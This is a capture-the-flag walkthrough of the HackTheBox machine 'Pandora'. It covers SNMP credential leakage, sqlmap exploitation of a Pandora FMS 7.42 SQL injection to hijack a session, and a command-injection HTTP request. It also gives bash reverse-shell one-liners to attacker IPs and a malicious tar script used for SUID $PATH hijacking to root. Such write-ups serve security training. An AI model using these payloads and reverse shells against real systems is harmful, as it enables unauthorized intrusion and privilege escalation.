Overview
Pandora is an easy HackTheBox Linux machine that starts, once again, with SNMP leaking plaintext SSH credentials from a running process’s command-line arguments. A locally-bound Pandora FMS instance, only reachable after pivoting with ligolo, is vulnerable to an unauthenticated SQL injection that dumps another user’s active session ID, no password needed. That hijacked session unlocks an authenticated command injection in Pandora’s event-response feature, giving a reverse shell. Privilege escalation hijacks a SUID backup binary that calls tar by a relative path, letting $PATH manipulation substitute a malicious tar for the real one.
Attack Chain
- Scan the target over
TCPandUDP, findingSSH,HTTP, andSNMP - Enumerate
SNMPwith thepubliccommunity string and usehrSWRunParametersto leak a plaintext password from a running process - Verify the credentials with
hydraand log in overSSHasdaniel - Find a second web application,
Pandora FMS, bound tolocalhoston port80 - Pivot to it with a
ligolotunnel - Identify an unauthenticated
SQL injectioninPandora FMS 7.42’ssession_idparameter - Use
sqlmapto dump thetsessions_phptable and recover another user’s active session ID - Hijack that session to browse the dashboard as
matt - Use a known authenticated command injection in
Pandora’s event-response AJAX endpoint to confirm code execution - Get a reverse shell as
matt - Stabilise access by generating an SSH key pair and adding the public key to
matt’sauthorized_keys - Read the user flag
- Find an unusual
SUIDbinary,pandora_backup - Transfer it off-box and use
stringsto find it callstarvia a relative path - Plant a malicious
tarscript in/tmpand prepend it to$PATH - Re-run
pandora_backupto trigger the hijacked binary and catch a root shell - Read the root flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan.
export IP=10.129.5.115; export NAME=PANDORA; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
The open TCP ports are:
22,80
We export the discovered ports and run a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

We also run a UDP scan.
sudo nmap $IP -sU --top-ports 100 -v -oA scans/nmap_top100_UDP_$NAME

SNMP Enumeration
We test for community strings with onesixtyone.
onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP
We have public.

We use snmpwalk, starting with hrSWRunParameters, which reveals running services and their command-line arguments.
snmpwalk -c public -v2c $IP HOST-RESOURCES-MIB::hrSWRunParameters
We find credentials.


daniel:HotelBabylon23
Foothold
SSH as daniel
We test the credentials with SSH.
hydra -l daniel -p HotelBabylon23 $IP ssh -v
The credentials are verified.

The credentials work.

We have an SSH shell as daniel.

Lateral Movement
Finding Pandora FMS
We view /var/www and see another app, pandora.

We check the Apache config.
cat /etc/apache2/sites-enabled/pandora.conf
pandora runs on localhost port 80.

We create a ligolo tunnel to view the app from our attacking machine, browsing to it through 240.0.0.1.
We find a login page for Pandora FMS 7.42.

Exploiting the SQL Injection
This article explains that Pandora FMS 7.42 is vulnerable to SQL injection in the session_id parameter:
https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/
We use sqlmap to exploit it.
sqlmap -u "http://240.0.0.1/pandora_console/include/chart_generator.php?session_id=''" --batch
We fetch the current database.
sqlmap -u "http://240.0.0.1/pandora_console/include/chart_generator.php?session_id=''" --current-db --batch
We have pandora.

Now the tables.
sqlmap -u "http://240.0.0.1/pandora_console/include/chart_generator.php?session_id=''" -D pandora --tables --batch
We’re interested in tsessions_php for other session_id entries.

We dump the table.
sqlmap -u "http://240.0.0.1/pandora_console/include/chart_generator.php?session_id=''" -D pandora -T tsessions_php --dump
We find a session_id for the user matt.

matt:g4e01qdgk36mfdh90hvcc54umq
We reuse the same endpoint in our browser, replacing the session ID with matt’s:
http://240.0.0.1/pandora_console/include/chart_generator.php?session_id=g4e01qdgk36mfdh90hvcc54umq
We can now navigate /pandora_console/ as matt.

Foothold via Command Injection
Confirming Command Execution
With an authenticated session as matt, we can abuse a known vulnerability that uses the event feature to gain arbitrary command execution:
https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities
The PoC request for a reverse shell:
POST /pandora_console/ajax.php HTTP/1.1
Host: 192.168.1.20
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=lo4k64pfhme12ic7reau9t5dqh
page=include/ajax/events&perform_event_response=10000000
&target=bash -i >%26 /dev/tcp/192.168.1.17/1337 0>%261&response_id=1
We modify the request in BurpSuite. First, we test command execution with a basic wget to a Python server on our attacking machine, URL-encoded:
POST /pandora_console/ajax.php HTTP/1.1
Host: 240.0.0.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=dp5levrgbidegt9etn7paoq3qp
page=include/ajax/events&perform_event_response=10000000&target=wget+http%3a//10.10.14.11/test&response_id=1

We have command execution, we get a request on our Python server.

Reverse Shell as matt
We move to a reverse shell, succeeding with:
bash -c "bash -i >& /dev/tcp/10.10.14.11/443 0>&1"
Our request in BurpSuite:

We have a shell as matt.

Stabilising Access
The shell keeps dropping, so we add a public SSH key to matt’s .ssh/authorized_keys.
We create an SSH key pair.

From our shell as matt, we copy id_rsa.pub and save it as /home/matt/.ssh/authorized_keys.

We set our private key’s permissions with chmod 600 id_rsa and SSH in as matt.

We read the user flag.

Privilege Escalation
Finding an Unusual SUID Binary
find / -type f -perm -04000 -ls 2>/dev/null
We see pandora_backup.

We run /usr/bin/pandora_backup. It appears to use tar to back up /var/www/pandora.

We try strings to inspect the binary, but the target doesn’t have it installed. We transfer the binary to our attacking machine with nc instead.
On our attacking machine:
nc -lnvp 4545 > pandora_backup
On the target:
nc 10.10.14.11 4545 < /usr/bin/pandora_backup
Back on our attacking machine, we inspect it with strings.
strings pandora_backup
It uses tar, and while the wildcard usage might look like the interesting part, what actually matters is that it calls tar via a relative path rather than an absolute one, meaning we can abuse $PATH hijacking.

Hijacking tar via $PATH
We start a penelope listener on port 443. On the target, we create a malicious tar file and make it executable, using a basic Bash reverse shell:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/443 0>&1
Our malicious file, saved as /tmp/tar:

We prepend /tmp to the $PATH variable.
export PATH=/tmp:$PATH
/tmp is now at the front of $PATH.

We run pandora_backup.

We have a shell as root.

We read the root flag.

Key Takeaways
Pandora reinforces just how often SNMP process-argument leakage shows up as an initial foothold, and layers a second lesson on top: an internal-only application isn’t safe just because it’s not directly exposed, since any foothold that can reach localhost effectively exposes it too. The SQL injection here didn’t need to extract a password at all, session IDs are just as valuable, and dumping one directly bypassed authentication entirely. Root followed the same relative-path $PATH-hijacking pattern seen elsewhere: a SUID binary that trusted its environment to resolve tar correctly handed full control to whoever controlled that environment.